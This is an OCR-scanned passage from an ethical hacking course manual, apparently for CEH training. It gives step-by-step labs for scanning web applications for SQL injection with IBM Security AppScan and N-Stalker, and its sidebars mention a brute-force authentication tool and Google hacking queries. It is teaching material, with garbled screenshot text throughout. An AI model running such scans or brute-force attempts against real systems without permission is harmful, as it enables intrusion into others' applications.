IPv4 Address. . . . . . . . . . . : 10.10.10.16
Subnet:Mask ... . oo.oe eons oo 25500.818

: fe80::fd1l1:2974:5008:81dc%7

FIGURE 2.19: Running Ipconfig command
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Module 15 - SQL Injection

Lab Analysis

Analyze and document the tesults related to this lab exercise. Provide your opinion
of your target’s security posture and exposure.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB.

Internet Connection Required

0O Yes No
Platform Supported
Classroom iLabs
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ICON KEY

=7 Valuable
information

# Test your
knowledge

B Web exercise

D workbook review

Module 15 - SQL Injection

Testing for SQL Injection using
IBM Security AppScan Tool

The IBM Security AppScan is a web application security testing tool that antomates
vulnerability assessments, prevents SQL. injection attacks on websites, and scans web
sites for embedded malware.

Lab Scenario

By now, you must be familiar with the types of SQL injection attacks an attacker
can perform and the impact caused by these attacks. Attackers can use the
following types of SQL Injection attacks: Authentication Bypass, Information
Disclosure, Compromised Data Integtity, Compromised Availability of Data and
Remote Code Execution which allows them to spoof identity, damage existing
data, execute system-level commands to cause a denial of service of the
application, and so on.

In the ptrevious lab, you have alteady learned to test SQL Injection Attacks on
MS SQL Database for website vulnerabilities.

As an organization’s Expert Security Professional and Penetration Tester, your
job responsibility is to test the company’s web applications and web services for
vulnerabilities. You need to find various ways to extend security test and analyze
web applications and employ multiple testing techniques.

Moving further, in this lab, you will learn to test for SQL Injection attacks using
IBM Security AppScan.

77 Tools Lab Objectives
demonstrated in
this lab are The objective of this lab is to help students learn how to test web applications for
available ZZ\CEH-  SQL Injection threats and vulnerabilities.
TOOMCEHVID In this lab, you will learn to:
Module 15 SQL
Injection = Perform web site scans for vulnerabilities
=  Analyze scanned results
= Generate reports for scanned web applications
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LHYOU can download
IBM AppScan from
http:/ / www-01.ibm.com.

mSuppom:d operating
systems (both 32-bit and
64-bit editions):

* Windows 2003:

Standard and Enterprise,
SP1 and SP2

* Windows Server 2008:
Standard and Enterprise,
SP1 and SP2

1
H rask 1

Module 15 - SQL Injection

Lab Environment

T'o complete this lab, you will need:

= IBM Security AppScan located at Z:\CEH-Tools\CEHv10 Module 15 SQL
Injection\SQL Injection Detection Tools\IBM Security AppScan

= A computer running Window Server 2016

®  You can also download the latest version of Security AppScan from the
link http://www-01.ibm.com/software/awdtools/appscan/standard

= A web browser with Internet access

= Microsoft NET Framework Version 4.0 or later

Lab Duration

Time: 15 Minutes

Overview of Testing Web Applications

Web applications are tested for implementing secutity and automating vulnerability
assessments. Doing so prevents SQL injection attacks on web servers and web

applications. Websites ate tested for embedded malware and to employ multiple
testing techniques.

Lab Tasks

BN Navigate to ZACEH-Tools\CEHv10 Module 15 SQL Injection\SQL Injection
Configure IBM 3
e B Detection Tools\IBM Security AppScan and double-cdlick
L AppScan_Std_9.0.3.6_Eval Win.exe.
2. Ifan Open File - Security Warning pop-up appears, click Run.
Follow wizard-driven installation steps and install the IBM Security AppScan
tool.
4. It takes around 5 minutes to complete the installation process.
Note: At the time of installation, a Web Services Component Download dialog-
box appears asking you to download an additional component. Click Ne to avoid
the download.
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EQ you can configure
Scan Expert to perform its
analysis and apply some of
its recommendations
automatically, when you
start the scan.

[:I:] A personal firewall
running on the same
computer as Rational
AppScan can block
communication and result
in inaccurate findings and
reduced performance. For
best results, do not run a
personal firewall on the
computer that runs

Rational AppScan.

Module 15 - SQL Injection

5. Iaunch the IBM Security AppScan application from the Apps list of
Windows Server 2016.

Windows S

EncadeDecade :é > 2

Windows
B o secunty A PownerShed
Expand

Most used g g &)

Windows
8 Google Cheome Admaistrativ..
BN nozills Fies

- : | M
Remote
Desktop...

Vindows
PowerShell 15E

Task Manager  Control Panel

Event Viewer File Explorer
Internet Explorer

Acrobat Reader DC

Bishop Fox

o € M|

FIGURE 3.1: Launching the application from Apps list
6. 'The main window of 1BM Security AppScan appears, click on Create New
Scan... to begin scanning,
P : . |

Fle Eat San Ves fods  Help |

| st [ Issues  Tases

URL Busesd Conturt Eueadd Fegts | Peeamuncns  Cockis Pages  Faled Requets  Filer e

| e Methed  Prrameters

e te AppScn

S L R ———

Ly [ J—

5) dorrs tuatiru et

0] csc_dema.testrire @) Geting Badud (FUF)

[1Dimzlay this zcomas whan fppScan lauschee Desc

FIGURE 3.2: IBM Security AppScan main window
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= AppScan can scan
both web applications and
web services.

m Malware test uses
data gathered during the
explore stage of a regular
scan, so you must have
some explore results for it
to function.

TASK 2

Perform Web
Application
Vulnerability Scan

mOnc of the options in
the scan configuration
wizard is for Scan Expert
to run a short scan to
evaluate the efficiency of
the new configuration for

your particular site.

Module 15 - SQL Injection

7. A New Scan pop-up appears; click on demo.testfire.net link.

Note: In evaluation version we cannot scan other websites.

New Scan

Recent Templates

&) demo.testfire.net

@ Browse...

Predefined Templates

Q Regular Scan

a Quick and Light Scan

i] Parameter-Based Navigation
{) Websphere Commerce

{4) Websphere Portal

%] Production Site

£ Hacme Bank

&) webGoat vs
&) worklight

[ Launch Scan Configuration Wizard

Help | Cancel
FIGURE 3.3: New Scan pop-up
8. 'The Scan Configuration Wizard appears; sclect AppScan (automatically or
manually), and click Next.
rSun Configuration Wizard x

A Full Stan Configuration

o Help

Welcome to the Configuration Wizard

The Configurston Wizard will help you coofigure & new scan based on e scen template: demo festiire.net.

| wan %0 explore the site using.

(@) AppScan (sulamatically or manually)

O Extemal

BepSc o 3

The GSC Vieb Services recorder is rotinstalled. Downlosd GSC now

FIGURE 3.4: IBM Security AppScan —Scan Configuration Wizard
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Module 15 - SQL Injection

9. Under URL and Servers, leave the default options and click Next.

Scan Configuration Wizerd X
PO Starting URL (7)
Login Management G e
Test Policy T o]
I7=7 There are some Complete |ttps //demo tetive et el
3 B v o
changes that Scan Expert (8] v Comectedt'serves
can only apply with human
intervention, so when you IMFORTANT i ing 3 production aite, read theae quidelines first  Scanning 3 ¥ve ceoduction silé
select the automatic option,
some changes may not be [] Scan only linka in and bekow this directory
applied. (7] Treat all paths =e case-sensitive (Unix, Linux. e )
» Additional Servers and Domains  (2)
| General Tasks m so g -
A Full scan Canfiguratian | 8 J
@ Hep cick ([ Nea> ) [ Coeed

FIGURE 3.5 IBM Seaurity AppScan - Scan Configuration Wizard
10. Under Login Management, sclect Automatic and enter the username jsmith
and password Demo1234 and click Next.

Scan Configuration Viizard %
URL and Servers Login Method ()
i - Use the lolloming method fo Jog in %o $e spolication.
Test Policy
Complete
Thc total number of
tests to be sent, or URLs to
be visited, may increase
during a scan, as new links
are discovered.
i Login not yet validated
0 |
A Full Scan Configuration |
@ <ok |([CBT) [ G
FIGURE 3.6: IBM Security AppScan - Scan Configuration wizard
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= Security Issues view
shows the actual issucs
discovered, from overview
kevel down to individual
requests /responses, ‘This is
the default view.

m Results can display in
three views: Security Issues,
Remediation ‘T'asks, and
Application Data. The view
is selected by clicking a
button in the view sclector.
‘The data displayed in all
three panes varies with the
view sclected.

Module 15 - SQL Injection

11. Under Test Policy, leave the default options and click Next.

Scan Configuration Wizard

TestPobcy |Default
Use this Teat Policy for the scan

:::m | Es“pﬁﬁ&m:wmwdmmtdm
££) Default

2 Browse...
Predefined Policies
{1 Defeult

) #pplication-Ory
{5) infrastructure-Only
Third Party-Only

1) mvasive

General Tasks [] Send tasts on login pages.
3 Full Scan Configuration [ Do mot send session idenstiers when tasaing logn pages.

oo o e PR

FIGURE 37: IBM Rational AppScan: Test Policy section

12. Under Complete, verify that Start a full automatic scan is selected, and click
Finish to complete the Scan Configuration.

‘Scan Confiquration Wizard

URL and Servers
Login Management
Test Policy ‘You have successiully completed the Scan Corfiguration Wizard.

Complete Scan Configuration Wizard (2)

How do you want 10 start?

O Start with automatic Explore only
O Start with Manual Exploce
O | will start the scan fater

7] Start Scan Expert when Scan Configuration Viizard 1z compiete

A Full Scan Configuration

W) Helo

<8ack Firish | canca |

FIGURE 3 8: IBM Rational AppScan: Compkite section
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LX) Remediation Tasks
view provides a To Do list
of specific remediation
tasks to fix the issues found
by the scan.

(7=7 The Result List
displays the issues for
whatever item is selected in
the application tree. These
can be for:

Root level: All site issues
display

Page level: All issues for
the page

Parameter level: All
issues for a particular
request to a particular
page

Module 15 - SQL Injection

13. An Auto Save dialog-box prompts you to save automatically during scan;
dlick Yes to save the file and proceed.

Auto Save X

The scan needs to be saved now b AppScan is setto ‘A
#J/ \would you like to save the scan now?

ically save during scan’.

Click Yes' to save the scan now.
Click ‘No' to disable ‘Automatically save during scan' for this scan only.
Click 'Disable’ to disable "Automatically save during scan’ for this and future scans.

=)

Disable |

FIGURE 3.9: Auto Save window

14. The Save As window appears; navigate to the location where you would save
the scan, specify a name for it, and click Save.

@ saveAs X
- ~ 4 [ > ThisPC » Desktop v D Search Desktop »r
Organize v New folder =~ @

.. Shared G, Name & Date modified Type
0 This PC

No items match your search.

“ Documents

& Downloads

D Music

|&= Pictures

B Videos

‘i Local Disk (C:)

% CEH-Tools (\\RC
v

>
File mmel SQL Test| v,
Save as type: | AppScan Scan (*.scan) s

A Hide Folders Cancel

FIGURE3.1(: Save As window
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Module 15 - SQL Injection

15. 'The IBM Secutity AppScan starts scanning the provided URL.

o / v 7
o Pauze  Manusl Liplore Configuration  Fzport  Fd  Scanleg  Powerloos
1 Content Beed Requests | Farsmeters  Cookies  ages  FoiledRequests Fltered  Unes ctreaction Seeded Comment
. Methee  Parametecs
~ i’ b/ ichemme bestfire.net) T
’ s % .
H Aeposithtm GFT content=persanal_deperit htm
i L L
! =::':":ﬁ;m | ceethsem GFT  contentzpersanl_canishim
|- g teemacraspe £ GFT  contentzpersonal_imetments.fm
| & retirementhtr rside_ GET  contentinsce. cortactim v
-2 search.aspx & >
| wbseribeop Show in Browset % St a Frror Page L, Manil Test oyt
| & sbscivesnt @ g oareia -
b8 survy qustoesagc Crar-hgent: Moztlla/f Q (Windows WT 10.0; WMF4) ApplaSb¥ic/RaT a8 (FRTMI, dke Geckol Chrome/53 0 2785 A
5 & admin 11€ Bafari/537 36
5 2 bank Oookte: o =7.9; aalserld 4
b~z O || “teoiienie, ASS.HET SwssiunldeyaswgiSgnyilbonceddadled
3 2 images Ecut. dexs.tessiize cet :
Accept: text himl 2.9, 4/%igme . ¥

6% energiwie.

015

FIGURE 3.11: IBM Rational AppScan Seanning Web Application window

16. The Scan Expert Recommendations pane opens; click Ignore All in the
lower right of the screen.

L

09 B WP HE Q. O
Pusw MaulEsplow Coofiguration  Report  Fred  Scanleg  PowwToss saves  Tasks

iﬂjcmw Farameters  Cookes Pages Fuiled Requests  Fitered  User reersction Meeded  Comments  JavaScripts

My, Methed  Pameters A
v &3 htspsy//demaitestfire.net/ s -

rar _deposithtrs GIT content-persanal degesithtm

! : 5 M‘“B": _cerds e GIT  content- persansl_cards.him

: R sl htm it st b i g cx:m-vm’:“mm

- Fredoaccaspr 2 8 inade_contact.

L8 kigh ywid is H . GET content~ peszonal_other.htm

| S radepeinta-oki mi | = GET content- business_inzurercehtn V.

Ik-,l netfound.cips == - S — ——— =y >

| Bee B Shewin Drewser | Setas DrrorPage | Manuel Tesz  [Frim rorme. B

o retrementhtm et 7t ]

| & swarchoasps User-Aguat: Xozilier.0 (Wandows BT 1C.0; WOWE4) APpleNeSst/537.38 (KEDML, likw Gecke! Chscowss3.0.i7es. A

! 11t Sazaci/a3v.3e

- subscnbeaspx B || Cocnin: 9 3: asCaerza

| subscribranf 100336014; ASE.NET. Gt

| & survey_questions asoe Roat- demn Fe wor: 4

s " ape’ <osrionsxhealsant, apnliranion/anliqed §,+/%;qe0 §

e-08 bt
B
Mors lefoemgtion  Merus [0t x

L e "5C Fermens Surwss et
fosky Racormandstios | [Lig-ce
I 0o .A Do Ha ra
FIGURE 312 IBM Rational AppScan: Scan Fxpert R —
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F7 Youcan export the
complete scan results as an
XML file or as a relational
database. (The database
option exports the results
ntoa Firebird database

Module 15 - SQL Injection

17. An AppScan pop-up appeats; click Yes.

AppScan

o Are you sure you want to ignore the Scan Expert's recommendations?

- Yes

e

FIGURE 3.13 AppScan pop-up
18. AppScan begins to scan for website vulnerabilities.

Flu  Edit  Scem  Vww  Tooh  Halp

ar Pause  Manusl Diplore Configuration  Report  Fnd  Scanleg  PowerTools

Reawd | Conlent Beed | Ruquesls  Patametsrs  Coukies  Pages  Faile Ruguists  Fltored  Usas ohimact

Biedil  Communls  SavaScripts

uRL Wethod  Parameres A
Wt/ i st et/

b2 comment.azgy ) o
| & defmtape o
- disciaemer htm

18 fevtiack.opx

| & high_yiekdinvestments htm
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FIGURE 3.14 Vulncrability Scanning
Note: It will take a lot of time to scan the complete site.
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ED Result Expert
consists of various modules
that are used to process
scan results. The processed
results are added to the
Issue Information tab of
the Detail pane, making the
information displayed there
mote comprehensive and
detailed, including screen
shots where relevant.

Module 15 - SQL Injection

19. After the completion of scanning, the application lists all the secutity issues
and vulnerabilities it has found.

20. Results can be displayed in three views: Data, Issues, and Tasks.
21. To view the vulnerabilities and security issues found, click Issues.
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FIGURE 3.15: IBM Rational AppScan Scanning Wb Application Result window
22. 'To analyze the scan results, click on any of the results, such as SQL Injection,

TASK 3 and expand the nodes to list all the links that are vulnerable to SQL Injection.
Analyze . 23. You can find explanation regarding the selected link in the right pane of the
GUI, under Issue Information.
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FIGURE 3,16: TBM Rational AppScan Scanning Web Application Result window
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EEI The Security Report
reports security issues
found during the scan,
Security information may
be very extensive and can
be filtered depending on
yout requirements. Six
standard templates are
mncluded, but each can
easily be tailored to include
or exclude categories of
information.

£ e Regulatory
Compliance Report: It
reports on the compliance
{or non-compliance) of
your application with a
lirge choice of regulations
ot legal standards or with
yOur own custom
template).

Module 15 - SQL Injection

24. Click Advisory tab in the right pane of the window to see the severity of that
patticular link, as well as the description of the threat.
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FIGURE 3.17: IBM Rational AppScan Scanning Web Application Result window

25. Click Fix Recommendation to seck some advice for fixing these
vulnerabilities.
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FIGURE 3.18: IBM Rational A ppScan Scanning Web Application Result window
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Module 15 - SQL Injection

26. After AppScan assesses your site's vulnerability, you can generate customized
TASK 4 reports configured for the personnel in your organization.

Generate Report 27. You can open and view the reports from within Security AppScan, and you
can save a report in any other format that can be opened with a third-party
application.

28. 'To generate a teport, click on Tools => Create Report. The Create Report
window appears.

T et ., Can Standeed ]
3 Fle €t San View | Tooz | be
b B = — -
i Regart

Standard Report reports g . o = u Q - ’a '& i "
the compliance (or non- Doz Masvaal Eapl :‘"“""”‘:I 3 Scanleg  Pawedooks Dete | fssues  Tacks
compliance) of your RL Bezed | Content Dezed ;u,‘ ek ' Severty + @ Migh  State = Open | { Previous Next b
application with a sclected T Defined Tests serdog O bou bomadans @ Advacey v FRRecomierdtan of FacamatRugrsn
industry committee o your | ¥ *2 'E’/"(;"""‘""’ﬁ""‘ Glezs Dos Aent Mansgement  pis) o Wy Aol
own custom standards { & commentmg % Stensionz » &
checklist, i 2 fd'u" 0 1@ PoweTack v Lesiizomaeh

- s 0 - b Files Restivws

FIGURE 3.19: TBM Rational AppScan Report Option window
29. Select the type of repott to generate, check options, and click Save Report....
Create Report X
@ ® 2 ; =
Secunty | Industry Standard Regulatory Compli Delta Analysis ~ Template Based
Report Type  Layout
Template: Default v | v E4Report Content
B summary
Min. Severity- Irformational v v [FSecurty Issues
— [F] Additional Issue iformation
TestType: A v o DlVartarts
[[]Request/Responze
Differences
Sort I T O
by @ lssue Type [TJAcvisones and Fx Recommendations
? ‘The Template Based O URL + ClApplication Data
cport is a custom report Application URLs
oonlaining user-defined [¥] Limit number of variants per issue SSO'!X e it
:iiatn and \:sf‘.rdcflitmd ] Max Variants n CFaled Requests
locument formatting in
TR A [[] Acdé page break sher each Issue (PDF) Sﬁms
aScipts
format. 0
[JFitered URLs
[4] View when done
Help

FIGURE 320: IBM Rational AppScan Create Report window
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EL) The Delta Analysis
FEPOrt COHMPArEs tWo sets
of scan results and shows
the difference in URLs
and for security issues
discovered.

Module 15 - SQL Injection

30. The Save As window appears; select the destination where you would save
the scan report, name it, and click Save.

Save As

X

« v 4.[- > ThisPC » Desktop

Search Desktop »r

v o)

Organize v New folder

.. Shared ~ Name

v I ThisPC
> [ Desktop
> [2 Documents
> 4 Downloads
> D Music
> [ Pictures
> [B Videos
> ‘is Local Disk (C:)

> B CEHTook(WRE

=~ @

Date modified Type

No items match your search,

S

File name: (SQL Test Security Report.pdf

Savustypeil’omblebocwnan&m('.pdf) v

A Hide Folders

FIGURE321: Save As window

31. The saved report will be helpful for future reference.

Lab Analysis

Analyze and document the results related to this lab exercise. Provide your opinion
of your target’s secutity posture and exposute.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB.

Intemet Connection Required

M Yes O No
Platform Supported
M Classroom [ iLabs
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e ————————————
ICON KEY

[7=7 Valuable
information

& Test your
knowledge

Web exercise

D wWorkbook review

Module 15 - SQL Injection

Scanning Web Applications using
N-Stalker Tool

N-Stalker 2012 is a sophisticated web security assessment solution for your web
applications. By incorporating its well-known “N-Stealth HTTP Security Scanner”
and its 39,000-item Web Attack Signature database, along with its patent-pending
component-oriented security assessment technology, N-Stalker is a “must have” security
tool for develgpers, system security administrators, IT" anditors, and others.

Lab Scenario

Few attackers perform SQL injection attacks based on “etror messages” received
from servers. If an error is responded to by the application, the attacker can

7 Tools determine the database’s entite structure, and read any value that can be read by
demonstratedin  the account the ASP application is using to connect to the SQL server. However,
this lab are if an etror message is returned from the database setver stating that the SQL
available at Query’s syntax is incorrect, an attacker tries all possible true/false questions via
Z:\CEH- SQL statements to steal data.
Tools\CEHv10
Module 15 SQL As an Expert Security Professional and Penetration Tester, you should be familiar
Injection with the tips and tricks used in SQL injection detection. You must also be awate
of all the tools that can be used to detect SQL injection flaws. In this lab, you will
learn to do so using N-Stalker.
Lab Objectives
The objective of this lab is to help students learn how to test web applications for
SQL injection threats and vulnerabilities.
In this lab, you will learn to:
®  Perform web site scans for vulnerabilities
= Analyze scanned results
=  Save Scan Results
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mYou can download N-

Staker from

hup:/ / www.nstalker.com/
products /editions/ free/do
wnload.

mF(mndcd upon the
US. Patent Registered
‘Technolbogy of
Component-otiented Web
Application Security
Scanning, N-Stalker
Enterprise Edition allows
for assessment of Web
Applications.

T ——————————————————————
H rask 1

Install N-Stalker

Module 15 - SQL Injection

Lab Environment
To complete this lab, you will need:

N-Stalker located at Z:ACEH-Tools\CEHv10 Module 15 SQL Injection\SQL
Injection Detection Tools\N-Stalker Web Application Security Scanner

Run this tool in Windows Server 2016

You can also download the latest version of N-Stalker from the link
https://www.nstalker.com/products/editions/free/download/

If you download the latest version of the tool then screenshots will vary
A web browser with Internet access

Microsoft NET Framework Vetsion 4.0 or later

Lab Duration

Time: 10 Minutes

Overview of Testing Web Applications

Web applications are tested for implementing security and automating vulnerability

assessments. Doing so prevents SQL injection attacks on web servers and web
applications. Websites are tested for embedded malware and by employing multiple

techniques.
Lab Tasks
1. Navigate to Z:ACEH-Tools\CEHv10 Module 15 SQL Injection\SQL Injection
Detection Tools\N-Stalker Web Application Security Scanner, double-
click NStalker-WebSecurityScanner-FreeX-b34.exe, and follow the steps
to install the application.
2. Once the installation is completed ensure that Run N-Stalker Web

Application Security Scanner option is checked and uncheck Show Readme
and then click Finish. N-Stalker application launched automatically.
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EL] N-Stalker also allows
you 1o create your own
assessment policies and
requirements, enabling an
effective way to manage
your application’s SDLC,
including the ability t©
control information
exposure, development
flaws, infrastructure issucs
and real security
vulnerabilities that can be
explored by external agents.

L web Security
Intelligence Service (WSIS)
is provided by WSI Labs
and will ensure you always
get the latest updates
available for N-Stalker Web
Application Security
Scanner as well as for its
attack signature database.
New 0-day exploits and
common vulnerabilitics will
be added on daily or weekly
basis, giving you the ability
to scan you Web Server
infrastructure periodically
against the latest threats.

Module 15 - SQL Injection

3. Alternatively, you can also launch the application from Start -> N-Stalker
Web Application Security and click N-Stalker Free X, or doubleclick short-
cut icon of the N-Stalker Free X from the Desktop.

f) N-Stalker Web Application Security Scanner 10,14 (Free Editio...  — X
~ N'Stalkﬂ: Completing the N-Stalker Web
v e s Application Security Scanner
Setup Wizard
N-Stalker Web Application Security Scanner has been
installed on your computer,

Click Finish to dlose this wizard.

I [“1Run N-Stalker Web Application Security Scanner

[Jshow Readme

Free Edition

4

o ] [ e

FIGURE 4.1: Windows Server 2012 Apps screen

4. 'The N-Stalker GUI appeatrs; click Update to update the application.

-SLAIKer

Web Security intelligence Service
Sorvice it aspwe o | Current Saten

vnte temesge
v Cheh b e e b haki e
b b iaes e b b bl e

N e cypdete tases
r

| e Vrsen Saanes. al

hartarentl fse e red e
0wy Packages free U8 Weme et it
N Staher Thvesm Froe 08 36 Nose et vt
Coce Aberaatet Vot f e rrez ctwe
Bochus Fder free 3012 Nane aat ot
et _otwe |

Savatun s ot frwe 22 et

L4

_

FIGURE 4.2: N-Stalker Main window
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m System Requirement:
NE'T Framework V2.0 or
higher, you can Downlbad
NET Framework V2.0
From Microsoft.

ED To run N-Stalker
Web Application Security
Scanner appropriately,
thete are minimum
requirements to be met:

- 128MB RAM (available to
N-Stalker)

- At keast 500MB Hard
Disk free space (caching
purposes)

* Win32 Platform (Win
2000, XP, 2003 or Vista
and later)

- Internet connection to
download N-Stalker
database /software updates

Module 15 - SQL Injection

5. 'The N-Stalker Free Edition pop-up appears; click OK to continue.

-Stalker Free Edition D¢

@ N-Stalker Updates are limited in Free Edition and will be
provided AS IS, without any guarantee. For more information
about our Commercial Edition, please, contact us:

E-mail: sales@nstalker.com
Phone: +55-11-3675-7093 (GMT-0300)

FIGURE 4% N-Stalker Free Edition pop-up
6. N-Stalker will start updating the database, which takes some time.

e Ty
Woltme tcaster | Scat Ogtees

e
i

Aws

Web Secutity Intellsgence Sorvice

Service wit expiee on:  Curront Sutes

Vgdete ettings
¥ Chach avaletie updates pon scasnr mEatzaton
{astw nurcmanc wotaes ot soaneer reatiaten

perTy
Name Version Progress L
Googe Mackmy Dwtatase  Nose (1Y
svtadartanens free  Nose %
3r6-Darty Paciages Free D8 Nose %
L M-Staker Threats Foee 08 20 Nose 1
Caote Assestment Usdie € Nose ex
4 Bk Frdecfree 2012 Mome 13
Senatice Fles Frser Free 20 Nene ox o

[CancelUpau] Stp voame |

_

FIGURE 4.4: N-Stalker database updating status
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H task 2

Module 15 - SQL Injection

7. After updating is complete, click Start to start a new scanning session.

Scan a Web
Application

ED You may modify N-
Stalker's cache options to
avoid web pages from
being permanently stored
in your hard disk. This
might be useful to preserve
disk space on large

assessments.,

EL o run N-Stalker
Scanner from 1

U

Sarvice wil expere on

Vmdate Settings

= LAIKCT

Wob Security Intelligence Servico
Curront Mates

R T T
1rate butsmare iptaes oon canser raaLlalen

=

e Vwwwn | Wews | -
Oocge Haceng Detetere 1001900 Vo fove
R e S 1300000 0 o
Iro-Party Packages Free OO 17121081 Wt date
S rshor Tovoes e 8430 194411 Voo ot
Cootm Arsesarent Wooum ! 160 Y save
Bochup Foder Free 2012 02631 1w tane
Senative Fims Fnder Froe 20 14000001 Ve 1 e

l_tn oo o spimns

FIGURE 4.5 N-Stalker database updared

8. In the N-Stalker Scan Wizatd, enter httpJ/www.goodshopping.com.
9. Choose the Scan Policy OWASP Policy, and click Next.

line, you will need a scan
session policy that will
contain policies, host
information and specific
configurations needed to
run the entire session.

-Stalker Scan Wizard

Optimize Settings
Review Summary
Start Scan Session

Choose URL & Policy

X

Start Web Application Security Scan Session
You must enter an URL and choose policy. Scan Settings may be configured.

Enter Web Application URL

= Inm:lfwww.guodshoppmqvcom I

(E.g: hitp://www.example 1V, hitps://www test tlVirtualDrectory/, etc)
[ Do not test web authentication forms

] Scan both HTTP and HTTPS locations
Choose Scan Policy

Load Scan Session

=
(You may load scan settings from praviously saved 5Can sessions)

Load Spider Data

(You may load spder dats from previously saved scan sessions)

FIGURE 4.6: N-Stalker Choosing URL and Policy
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A N Sulker HTTP
Brute Force wol does what
the name says. Itis an
HTTP authentication brute
force tool that works by
taking a web macro and
attempting to run a series
of authentication requests
1o obtain valid credentials
(you may provide your own
user and password list).

m N-Stalker Web Proxy
is a combination of web
proxy and HTTP
inspection tool. It includes
a full Web Proxy support
{for external browsers)
along with an event-driven
interception mechanism,
that allows you to inspect
HTTP communications
{even SSL) based on
keyword matching.

3 e term "GHDB
was allegedly coined by
Johnny Long, which started
to maintain a number of
"google-based" queries that
would eventually reveal
security flaws in websites
{without one having to scan
the site directly for that
vulnerability).

Module 15 - SQL Injection

10. Under Optimize Settings, leave the default options, and click Next.

-Stalker Scan Wizard

X

You must enter an URL and choose policy. Scan Settings may be configured.

Optimizing Settings

= [r-rm  forww.goodshopping.com/
(You may choose to run a series of tests to alow for optimization or click Next to continue)
Optimize Resuks  Authentication ~ False Positive ' Engine  Miscellaneous
Optimization Progress
Optimize Settings 0%
2 s Pr tmize” 1o optimize scan settings
Start Scan Session Optimization Results
Xfer Rate Avg Response Conn Failures
|Scan Settings Optimize <<Back | Cancel |

FIGURE 4.7: N-Stalker Optimize Settings

11. Click Yes in the Settings Not Optimized pop-up.

ettings Not Optimized

(A You haven't optimized your scan settings yet
WY but we strongly recommend you to do that.

Do you want to continue anyway?

Yes No

FIGURE 4.8: N-Stalker pop-up
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Module 15 - SQL Injection

12. Under Review Summary, click Start Session.
-Stalker Scan Wizard X

-an URL and choose policy. Scan Sefiings may be configured.

Choose URL & Policy Scan Setting | Value A
Optimize Seftings @ Host Information P: [10.10.10.16] Port: [80] SSL: [no]
A i @ icted Directory Not configured
ﬂ:] Ihis isa string Review Summary o Policy Name OWASP Policy

encaxding tool which is

s Ful o encod e/ decode @ False-Positive Settings  Enabled for Multiple Extensions. Enabled for 404 pages. Ci

data on multiple formats @ New Server Discovery Enabled (recommended in most cases)
used by Web Applications. @ Spider Engine Max URLs: [S00] Max Per Node [30] Max Depth {0)
@ HTML Parser JS: [ignore] External JS [Deny] JS Events [Execute] SWF [F
@ Server Technologies NA
@ Alowed Hosts No additional hosts configured. v
'Scan Settings. <<Back || Cancel "

FIGURE 4.9: N-Stalker Review Summary

13. The N-Stalker free edition pop-up appears; click OK to continue.

-Stalker Free Edition X

EL s is 2 Wb Server
i 1 which will - L

a&uz;ﬁyo Z:co“:,};d;r‘lvfrp 4 N-Stalker Frge Fdl‘thﬂ has a restriction to crawl only the ﬁrs?

servers and fingerprint 500 pages within the same scan session. For more information

them to obtain their about our Commercial Edition, please, contact us:

platform version. It might

run based on a file list or IP ;
RRRRASE E-mail: sales@nstalker.com

Phone: +55-11-3675-7093 (GMT-0300)
0K
FIGURE 4.10: N-Stalker Free Edition pop-up
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Module 15 - SQL Injection

14. After completing the configuration of N-Stalket, click Start Scan to begin
scanning the Goodshopping website.

v "‘_!‘I
7 W o soan Ootees | y

R “"““’"""‘" | 28 thcete b oWAT) @"""" ﬁu—un—-

e J e J.nw.

Lluumuu-uln

ED Google Hacking
Database (GHDB) Tool is
a unique application that
will allow you to search for
"google-like" queries within
a saved spider data. N-
Stalker, GHDB Tool can
be invoked by clicking on
"GHDB Tool" button
under "Miscellaneous

Tools."
" @ scanModdes [T Compmrents |1 S Bt 1] Mok fvani
FIGURE. 4.11: N-Stalker Start Scan wizard
15. N-Stalker begins to scan the website, as shown in the screenshot:
v
© Wluberdoewsr | omOpees | -
Tiven s 9"’"'.' ‘ ae—-e—-
ooy || v VR Resireson Setnge Trnck Seser
‘E.';"f_.*..'""_.ﬂ — ....-w L.._..J
1 TP 1oad Testeris 0 &l 8.
a performance tester tool.
Tt will run a Web Macro on
a concurrent basis (up to Dec 21, 2017 01 2047
you to decide how many Sros (s
instances) and will provide
a report on number of v
connection failures and 3 bissidasosd
SUCCESS. 4 B L IE——

ke D > 7 scantedie [ Gt |1 s Frrs |10 P Eoers

FIGURE 4.12: N-Stalker Start Scan Status
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III Macro Recorder is a
tool to manage "Web
Macros" within N-Stalker
Web Application Security
Scanner,

m An authentication
Web Macro is used to
authenticate N-Stalker's
against Web Forms or any
other of user interaction
based authentication.

Module 15 - SQL Injection

16. It takes some time for the application to scan the entire website.

17. N-Stalker scans the site in four different steps: Spider, Info Gather, Run

m As applications
provide both a mean to
login and logoff,
Authentication Macros
have a "logout detection”
control that can be
configured to prevent
accidental logoff.

Modules, and Sig Scanner.
Veas - [-
5 Sieker oaneer Soan Optons
. o e v S g gy | O TS g s
v IR Nestreten Satngs ¢ A Track Spater
o) cua sessnn | O18 51 || o sensantgmisram « || ST ] | gty - || ST Keywert Fir
P-_' Coownt_| [Dewase Comprud | Soow Corom " HTTP Comts F e Foative Coow
— 4
- -
- |
R LT — p— [y
ooy —— P—— —
Srosonond " et ¥ ghacand
A Awed masn
& Bemcies nown po——
2 cwwen
» Cooves Em i .
Sorets (1 S T Dot 21, 2017 012047
Commarts. Ovrmter OMours ) Meutes .
) et Forme (1
Seon Spewtogme ® A
& Brvnes popes (1 Crmns Ui "
Woden Fds Conmmt Mo . .
ormasen Lestape (1] DvWtPepeSoe 53079 byten WA (9) W 0) Low 1) e (5)
r A rvoreees eantagme ) Nt *
 § e Swww geosetors Teew & e ytes St 73
S et Srgueets ° Byses Recennt 200 4%
Aflosts Sost “ AvgResense T S004
404 Errory . Avg Tranater Rate 08 01 Wy
32 anseacten 0 feostings 9908 g

FIGURE 4.13: N-Stalker Scanning methoxs
18. On completion of the scan, the Results Wizard appeas.

19. Select Save scan results (under Session Management Options) and Keep
scan session for further analysis (under Next Steps), and click Next.

esults Wizard

X

Scan Time

0 Hour(s) 3 Minute(s)

Total Vulnerabilities ——
High: ©
Medium: 3
Low : 1
Info: 5

N-Stalker found 9 vulnerabilities

Scan Session has finished successfully.

Session Manag O

Save scan results

_) Discard scan results

Next Steps

ta 1 )

(¥) Keep scan session for further analysis; I

) Close scan session and return to main screen

coes [ ]

FIGURE 4.14: N-Stalker Results Wizard
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8 PN navigation Web
Macro is used to provide a
specific path within the
application to be followed
